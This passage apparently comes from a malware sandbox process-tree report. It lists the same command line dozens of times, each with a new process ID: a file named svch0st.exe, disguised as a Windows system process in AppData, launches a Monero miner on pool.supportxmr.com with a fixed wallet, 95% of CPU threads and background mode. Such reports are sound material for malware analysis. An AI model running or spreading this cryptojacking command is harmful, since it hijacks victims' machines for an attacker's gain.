        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        47⤵
        
        PID:7592
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        48⤵
        
        PID:7704
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        49⤵
        
        PID:7828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        50⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        51⤵
        
        PID:8036
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        52⤵
        
        PID:8112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        53⤵
        
        PID:7508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        54⤵
        
        PID:8228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        55⤵
        
        PID:8332
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        56⤵
        
        PID:8444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        57⤵
        
        PID:8540
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        58⤵
        
        PID:8644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        59⤵
        
        PID:8756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        60⤵
        
        PID:8892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        61⤵
        
        PID:9036
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        62⤵
        
        PID:9144
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        63⤵
        
        PID:8672
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        64⤵
        
        PID:2940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        65⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        66⤵
        
        PID:8908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        67⤵
        
        PID:9288
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        68⤵
        
        PID:9392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        69⤵
        
        PID:9496
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        70⤵
        
        PID:9592
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        71⤵
        
        PID:9696
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        72⤵
        
        PID:9808
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        73⤵
        
        PID:9912
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        74⤵
        
        PID:10008
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        75⤵
        
        PID:10120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        76⤵
        
        PID:10224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        77⤵
        
        PID:10248
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        78⤵
        
        PID:10344
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:10480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        80⤵
        
        PID:10588
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        81⤵
        
        PID:10700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        82⤵
        
        PID:10804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        83⤵
        
        PID:10892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        84⤵
        
        PID:10984
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        85⤵
        
        PID:11088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        86⤵
        
        PID:11192
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        87⤵
        
        PID:10576
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        88⤵
        
        PID:11300
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        89⤵
        
        PID:11412
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        90⤵
        
        PID:11516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        91⤵
        
        PID:11620
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        92⤵
        
        PID:11732
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        93⤵
        
        PID:11836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        94⤵
        
        PID:11932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        95⤵
        
        PID:12064
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        96⤵
        
        PID:12172
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        97⤵
        
        PID:3392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        98⤵
        
        PID:12216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        99⤵
        
        PID:12388
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        100⤵
        
        PID:12492
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        101⤵
        
        PID:12596
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        102⤵
        
        PID:12700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        103⤵
        
        PID:12804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        104⤵
        
        PID:12908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        105⤵
        
        PID:13028
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        106⤵
        
        PID:13116
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        107⤵
        
        PID:13220
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        108⤵
        
        PID:12512
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        109⤵
        
        PID:13372
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        110⤵
        
        PID:13456
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        111⤵
        
        PID:13552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        112⤵
        
        PID:13656
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        113⤵
        
